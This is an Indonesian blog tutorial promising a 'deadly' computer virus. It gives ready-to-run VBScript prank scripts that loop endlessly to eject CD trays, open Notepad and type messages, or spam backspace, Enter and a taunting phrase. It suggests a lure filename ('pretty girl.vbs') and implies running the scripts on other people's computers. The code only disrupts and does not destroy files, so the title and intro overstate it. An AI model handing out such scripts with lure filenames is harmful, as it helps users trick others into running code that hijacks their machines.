Home » »

Written By Raden Silaban on Monday, December 10, 2012 | 5:38 AM

Cara Membuat Virus Komputer Nakal Mematikan

Cara Membuat Virus Komputer Nakal Mematikan
Cara Membuat Virus Komputer Nakal Mematikan - Setiap orang yang mempunyai komputer atau laptop pasti mengetahui yang namanya virus komputer ! virus komputer dapat merusak bahkan menghapus semua file dan merusak sistem komputer, virus komputer menyalin atau menggandakan diri dengan cara menyisipkan ke dalam program atau dokumen

ok,daripada teman-teman tidak sabar lagi untuk membuat virus dengan notepad langsung saja yuk ikuti tutorialnya di bawah ini :

Buka notepad lalu masukan kode di bawah ini :

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
lalu simpan dengan nama cewek cantik.vbs atau namanya terserah anda, salakan di beri ekstensinya .vbs dan klik filenya 2 x.Virus tersebut dapat Membuat CD/DVD ROM akan terbuka/tertutup secara otomatis tanpa berhenti

Kode vbs yang ke dua

WScript.Sleep 18000
WScript.Sleep 1000
do
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "H"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "l"
WScript.Sleep 500
WshShell.SendKeys "o"
WScript.Sleep 500
WshShell.SendKeys ". "
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "p"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys " "
WScript.Sleep 500
WshShell.SendKeys "k"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "b"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "r"
WScript.Sleep 500
WshShell.SendKeys "?"
WScript.Sleep 500
WshShell.SendKeys " "
WScript.Sleep 500
WshShell.SendKeys "K"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "b"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "r"
WScript.Sleep 500
WshShell.SendKeys " "
WScript.Sleep 500
WshShell.SendKeys "b"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "i"
WScript.Sleep 500
WshShell.SendKeys "k"
WScript.Sleep 500
WshShell.SendKeys "?"
WScript.Sleep 500
wscript.sleep 5000
loop
kode tersebut dapat membuka notepad otomatis dan menulis Halo. apa kabar? kabar baik? pada notepad
untuk caranya sama seperti di atas



Menekan backspace secara otomatis dan berulang-ulang

MsgBox "Selamat Anda Tertipu!"
Set wshShell  =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys  "{bs}"
loop

Menekan enter secara otomatis dan berulang-ulang

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep  100
wshshell.sendkeys "~(enter)"
loop
Mengetik Kamu Kok Gila Banget ya ! secara otomatis dan berulang-ulang
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "Kamu Kok Gila Banget ya !"
loop 
NB : jangan di coba ke komputer sendiri kalau tidak mau kena imbasnya ^^
Share this article :
Comments
0 Comments

Join disini dulu ya, Like This !!!

×

Powered By Berbagi Ilmu SEO and TUTORIAL BLOGGING

Live Traffic Feed

 
Support : Your Link | Your Link | Your Link
Copyright © 2013. Be diffrent - All Rights Reserved
Template Created by Creating Website Published by Mas Template
Proudly powered by Blogger